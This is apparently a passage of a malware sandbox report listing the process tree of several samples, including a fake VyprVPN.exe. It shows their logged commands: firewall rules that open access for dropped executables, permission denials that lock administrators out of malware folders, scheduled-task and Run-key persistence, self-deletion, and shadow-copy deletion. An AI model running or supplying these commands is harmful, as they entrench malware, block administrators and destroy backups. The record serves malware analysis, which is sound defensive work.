  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop MicrosoftMysql
      4⤵
      PID:7664
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete clr_optimization_v4.0.30318_64"
      4⤵
      PID:8072
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete clr_optimization_v4.0.30318_64"
        5⤵
        Launches sc.exe
        
        PID:8044
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
      4⤵
      PID:11116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
      4⤵
      PID:10800
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
      4⤵
      PID:5572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
      4⤵
      PID:3836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
      4⤵
      PID:6000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
      4⤵
      PID:5428
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
      4⤵
      PID:2140
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
      4⤵
      PID:9672
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
      4⤵
      PID:8596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
      4⤵
      PID:5408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
      4⤵
      PID:5344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
      4⤵
      PID:1132
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
      4⤵
      PID:6464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
      4⤵
      PID:5336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
      4⤵
      PID:9292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
      4⤵
      PID:10084
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP8" protocol=TCP action=block dir=out remoteip=160.153.246.1-160.153.246.255
      4⤵
      PID:10144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP7" protocol=TCP action=block dir=IN remoteip=160.153.246.1-160.153.246.255
      4⤵
      PID:7288
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP6" protocol=TCP action=block dir=out remoteip=163.171.140.1-163.171.140.255
      4⤵
      PID:3820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP5" protocol=TCP action=block dir=IN remoteip=163.171.140.1-163.171.140.255
      4⤵
      PID:7224
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP4" protocol=TCP action=block dir=out remoteip=118.184.176.1-118.184.176.255
      4⤵
      PID:4484
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP3" protocol=TCP action=block dir=IN remoteip=118.184.176.1-118.184.176.255
      4⤵
      PID:6344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP2" protocol=TCP action=block dir=out remoteip=61.216.5.1-61.216.5.255
      4⤵
      PID:4364
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP1" protocol=TCP action=block dir=IN remoteip=61.216.5.1-61.216.5.255
      4⤵
      PID:8232
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
      4⤵
      PID:9780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
      4⤵
      PID:10528
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
      4⤵
      PID:8600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
      4⤵
      PID:8792
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP26" protocol=TCP action=block dir=out remoteip=134.209.181.186
      4⤵
      PID:3468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP25" protocol=TCP action=block dir=IN remoteip=134.209.181.186
      4⤵
      PID:668
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP24" protocol=TCP action=block dir=out remoteip=61.130.8.22
      4⤵
      PID:8648
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP23" protocol=TCP action=block dir=IN remoteip=61.130.8.22
      4⤵
      PID:5784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP22" protocol=TCP action=block dir=out remoteip=176.57.70.81
      4⤵
      PID:9148
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP21" protocol=TCP action=block dir=IN remoteip=176.57.70.81
      4⤵
      PID:8952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP20" protocol=TCP action=block dir=out remoteip=210.108.146.96
      4⤵
      PID:7872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP19" protocol=TCP action=block dir=IN remoteip=210.108.146.96
      4⤵
      PID:2832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP18" protocol=TCP action=block dir=out remoteip=178.128.101.72
      4⤵
      PID:8240
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP17" protocol=TCP action=block dir=IN remoteip=178.128.101.72
      4⤵
      PID:8228
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP16" protocol=TCP action=block dir=OUT remoteip=172.104.56.113
      4⤵
      PID:7720
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP15" protocol=TCP action=block dir=IN remoteip=172.104.56.113
      4⤵
      PID:7244
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP14" protocol=TCP action=block dir=out remoteip=59.124.90.1-59.124.90.255
      4⤵
      PID:4456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP13" protocol=TCP action=block dir=IN remoteip=59.124.90.1-59.124.90.255
      4⤵
      PID:4228
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP12" protocol=TCP action=block dir=out remoteip=59.125.179.1-59.125.179.255
      4⤵
      PID:9440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP11" protocol=TCP action=block dir=IN remoteip=59.125.179.1-59.125.179.255
      4⤵
      PID:9952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP10" protocol=TCP action=block dir=out remoteip=195.22.26.1-195.22.26.248
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP9" protocol=TCP action=block dir=IN remoteip=195.22.26.1-195.22.26.255
      4⤵
      PID:6216
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP32" protocol=TCP action=block dir=out remoteip=167.71.52.230
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP31" protocol=TCP action=block dir=IN remoteip=167.71.52.230
      4⤵
      PID:5104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP32" protocol=TCP action=block dir=out remoteip=104.248.92.26
      4⤵
      PID:9580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP31" protocol=TCP action=block dir=IN remoteip=104.248.92.26
      4⤵
      PID:6716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP32" protocol=TCP action=block dir=out remoteip=178.128.74.151
      4⤵
      PID:9508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP31" protocol=TCP action=block dir=IN remoteip=178.128.74.151
      4⤵
      PID:8140
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP32" protocol=TCP action=block dir=out remoteip=165.22.23.102
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP31" protocol=TCP action=block dir=IN remoteip=165.22.23.102
      4⤵
      PID:4832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP32" protocol=TCP action=block dir=out remoteip=156.67.216.61
      4⤵
      PID:9600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP31" protocol=TCP action=block dir=IN remoteip=156.67.216.61
      4⤵
      PID:7192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP32" protocol=TCP action=block dir=out remoteip=157.230.120.236
      4⤵
      PID:10668
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP31" protocol=TCP action=block dir=IN remoteip=157.230.120.236
      4⤵
      PID:7032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP30" protocol=TCP action=block dir=out remoteip=165.22.143.11
      4⤵
      PID:6712
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP29" protocol=TCP action=block dir=IN remoteip=165.22.143.11
      4⤵
      PID:8324
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP28" protocol=TCP action=block dir=out remoteip=134.209.188.169
      4⤵
      PID:5520
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="HTTP27" protocol=TCP action=block dir=IN remoteip=134.209.188.169
      4⤵
      PID:8108
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\WINDOWS\inf\lsmm.exe" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:9924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\WINDOWS\inf\lsmm.exe" /deny Administrators:(OI)(CI)(F)
      4⤵
      PID:6044
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\WINDOWS\inf\msief.exe" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:8756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\WINDOWS\inf\msief.exe" /deny system:(OI)(CI)(F)
      4⤵
      PID:10268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\NetworkDistribution" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:6836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\WINDOWS\inf\msief.exe" /deny Administrators:(OI)(CI)(F)
      4⤵
      PID:8352
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\NetworkDistribution" /deny Administrators:(OI)(CI)(F)
      4⤵
      PID:6596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\NetworkDistribution" /deny System:(OI)(CI)(F)
      4⤵
      PID:10372
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
      4⤵
      PID:6212
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:9696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\windows\svchost.exe /deny система:(F)
      4⤵
      PID:184
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\windows\svchost.exe /deny System:(F)
      4⤵
      PID:7672
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\windows\svchost.exe /deny Администраторы:(F)
      4⤵
      PID:5952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iexplore.exe" /deny System:(OI)(CI)(F)
      4⤵
      PID:5484
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iexplore.exe" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
      4⤵
      PID:1360
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:7960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\java.exe /deny система:(F)
      4⤵
      PID:9836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\java.exe /deny System:(F)
      4⤵
      PID:5512
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\java.exe /deny Администраторы:(F)
      4⤵
      PID:5844
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
      4⤵
      PID:9576
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:8864
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
      4⤵
      PID:9560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
      4⤵
      PID:10952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:5500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
      4⤵
      PID:8408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:7600
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc delete swprv
  2⤵
  PID:4772
- - C:\Windows\SysWOW64\sc.exe
    sc delete swprv
    3⤵
    - Launches sc.exe
    PID:2100

C:\Users\Admin\Desktop\VyprVPN.exe
"C:\Users\Admin\Desktop\VyprVPN.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Users\Admin\AppData\Roaming\1337\joinResult.exe
  "C:\Users\Admin\AppData\Roaming\1337\joinResult.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1472
- - C:\Users\Admin\AppData\Roaming\1337\Clipper.exe
    "C:\Users\Admin\AppData\Roaming\1337\Clipper.exe"
    3⤵
    PID:4748
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service" /tr "C:\Users\Admin\WinService.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4036
  - - C:\Users\Admin\WinService.exe
      "C:\Users\Admin\WinService.exe"
      4⤵
      PID:4076
- - C:\Users\Admin\AppData\Roaming\1337\1111.exe
    "C:\Users\Admin\AppData\Roaming\1337\1111.exe"
    3⤵
    PID:1968
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 3 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\1337\1111.exe"
      4⤵
      PID:1876
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 3 -w 3000
        5⤵
        Runs ping.exe
        
        PID:3376
- C:\Users\Admin\AppData\Roaming\1337\VyprVPN.exe
  "C:\Users\Admin\AppData\Roaming\1337\VyprVPN.exe"
  2⤵
  - Executes dropped EXE
  PID:3408

C:\Users\Admin\Desktop\31.exe
"C:\Users\Admin\Desktop\31.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3476
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\23E9.tmp\23EA.tmp\23EB.bat C:\Users\Admin\Desktop\31.exe"
  2⤵
  PID:3472
- - C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
    "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Roaming\1.jar"
    3⤵
    PID:1868
- - C:\Users\Admin\AppData\Roaming\2.exe
    C:\Users\Admin\AppData\Roaming\2.exe
    3⤵
    PID:2284
  - - C:\Users\Admin\AppData\Roaming\2.exe
      C:\Users\Admin\AppData\Roaming\2.exe
      4⤵
      PID:3464
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe"
        5⤵
        
        PID:5024
      - C:\Windows\SysWOW64\cmd.exe
        
        /c del "C:\Users\Admin\AppData\Roaming\2.exe"
        6⤵
        
        PID:5748
- - C:\Users\Admin\AppData\Roaming\3.exe
    C:\Users\Admin\AppData\Roaming\3.exe
    3⤵
    PID:1428
  - - C:\Users\Admin\AppData\Roaming\3.exe
      C:\Users\Admin\AppData\Roaming\3.exe
      4⤵
      PID:10196
- - C:\Users\Admin\AppData\Roaming\4.exe
    C:\Users\Admin\AppData\Roaming\4.exe
    3⤵
    PID:4040
- - C:\Users\Admin\AppData\Roaming\5.exe
    C:\Users\Admin\AppData\Roaming\5.exe
    3⤵
    PID:2596
- - C:\Users\Admin\AppData\Roaming\8.exe
    C:\Users\Admin\AppData\Roaming\8.exe
    3⤵
    PID:4560
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v feeed /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\feeed.exe"
      4⤵
      PID:3640
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v feeed /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\feeed.exe"
        5⤵
        
        PID:4712
  - - C:\Users\Admin\AppData\Roaming\feeed.exe
      "C:\Users\Admin\AppData\Roaming\feeed.exe"
      4⤵
      PID:4452
    - - C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
        5⤵
        
        PID:8292
- - C:\Users\Admin\AppData\Roaming\9.exe
    C:\Users\Admin\AppData\Roaming\9.exe
    3⤵
    PID:3324
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wWTxgR" /XML "C:\Users\Admin\AppData\Local\Temp\tmp278.tmp"
      4⤵
      Creates scheduled task(s)
      PID:6596
  - - C:\Users\Admin\AppData\Roaming\9.exe
      "{path}"
      4⤵
      PID:9092
- - C:\Users\Admin\AppData\Roaming\7.exe
    C:\Users\Admin\AppData\Roaming\7.exe
    3⤵
    PID:4132
- - C:\Users\Admin\AppData\Roaming\6.exe
    C:\Users\Admin\AppData\Roaming\6.exe
    3⤵
    PID:4108
- - C:\Users\Admin\AppData\Roaming\11.exe
    C:\Users\Admin\AppData\Roaming\11.exe
    3⤵
    PID:2932
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnLKhBlJfQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6597.tmp"
      4⤵
      Creates scheduled task(s)
      PID:7260
  - - C:\Users\Admin\AppData\Roaming\11.exe
      "{path}"
      4⤵
      PID:848
- - C:\Users\Admin\AppData\Roaming\10.exe
    C:\Users\Admin\AppData\Roaming\10.exe
    3⤵
    PID:4708
- - C:\Users\Admin\AppData\Roaming\12.exe
    C:\Users\Admin\AppData\Roaming\12.exe
    3⤵
    PID:2852
- - C:\Users\Admin\AppData\Roaming\13.exe
    C:\Users\Admin\AppData\Roaming\13.exe
    3⤵
    PID:4196
  - - C:\Users\Admin\AppData\Roaming\13.exe
      C:\Users\Admin\AppData\Roaming\13.exe
      4⤵
      PID:9656
    - - C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe"
        5⤵
        
        PID:5728
- - C:\Users\Admin\AppData\Roaming\14.exe
    C:\Users\Admin\AppData\Roaming\14.exe
    3⤵
    PID:2336
- - C:\Users\Admin\AppData\Roaming\15.exe
    C:\Users\Admin\AppData\Roaming\15.exe
    3⤵
    PID:4144
- - C:\Users\Admin\AppData\Roaming\18.exe
    C:\Users\Admin\AppData\Roaming\18.exe
    3⤵
    PID:5080
- - C:\Users\Admin\AppData\Roaming\17.exe
    C:\Users\Admin\AppData\Roaming\17.exe
    3⤵
    PID:3484
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3484 -s 612
      4⤵
      Program crash
      PID:8340
- - C:\Users\Admin\AppData\Roaming\16.exe
    C:\Users\Admin\AppData\Roaming\16.exe
    3⤵
    PID:1704
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:1524
    - - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        5⤵
        
        PID:5012
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5440
- - C:\Users\Admin\AppData\Roaming\20.exe
    C:\Users\Admin\AppData\Roaming\20.exe
    3⤵
    PID:1908
  - - C:\Users\Admin\AppData\Roaming\20.exe
      C:\Users\Admin\AppData\Roaming\20.exe
      4⤵
      PID:10416
- - C:\Users\Admin\AppData\Roaming\19.exe
    C:\Users\Admin\AppData\Roaming\19.exe
    3⤵
    PID:1896
  - - C:\Users\Admin\AppData\Roaming\19.exe
      C:\Users\Admin\AppData\Roaming\19.exe
      4⤵
      PID:5164
- - C:\Users\Admin\AppData\Roaming\21.exe
    C:\Users\Admin\AppData\Roaming\21.exe
    3⤵
    PID:3252
  - - C:\Users\Admin\AppData\Roaming\21.exe
      "{path}"
      4⤵
      PID:5736
  - - C:\Users\Admin\AppData\Roaming\21.exe
      "{path}"
      4⤵
      PID:2500
- - C:\Users\Admin\AppData\Roaming\22.exe
    C:\Users\Admin\AppData\Roaming\22.exe
    3⤵
    PID:5352
- - C:\Users\Admin\AppData\Roaming\23.exe
    C:\Users\Admin\AppData\Roaming\23.exe
    3⤵
    PID:472
- - C:\Users\Admin\AppData\Roaming\24.exe
    C:\Users\Admin\AppData\Roaming\24.exe
    3⤵
    PID:6108
  - - C:\Users\Admin\AppData\Roaming\24.exe
      "{path}"
      4⤵
      PID:10896
- - C:\Users\Admin\AppData\Roaming\25.exe
    C:\Users\Admin\AppData\Roaming\25.exe
    3⤵
    PID:7076
- - C:\Users\Admin\AppData\Roaming\26.exe
    C:\Users\Admin\AppData\Roaming\26.exe
    3⤵
    PID:6816
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\qATVyEXYNcqQZF" /XML "C:\Users\Admin\AppData\Local\Temp\tmp5879.tmp"
      4⤵
      Creates scheduled task(s)
      PID:8824
- - C:\Users\Admin\AppData\Roaming\27.exe
    C:\Users\Admin\AppData\Roaming\27.exe
    3⤵
    PID:7768
  - - C:\Users\Admin\AppData\Roaming\27.exe
      C:\Users\Admin\AppData\Roaming\27.exe /C
      4⤵
      PID:9972
- - C:\Users\Admin\AppData\Roaming\28.exe
    C:\Users\Admin\AppData\Roaming\28.exe
    3⤵
    PID:10756
- - C:\Users\Admin\AppData\Roaming\29.exe
    C:\Users\Admin\AppData\Roaming\29.exe
    3⤵
    PID:10692
  - - C:\Windows\SysWOW64\regsvr32.exe
      C:\Windows\system32\regsvr32.exe -s C:\Users\Admin\AppData\Roaming\29.dll f1 C:\Users\Admin\AppData\Roaming\29.exe@10692
      4⤵
      PID:6364
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10692 -s 476
      4⤵
      Program crash
      PID:8116
- - C:\Users\Admin\AppData\Roaming\30.exe
    C:\Users\Admin\AppData\Roaming\30.exe
    3⤵
    PID:11004
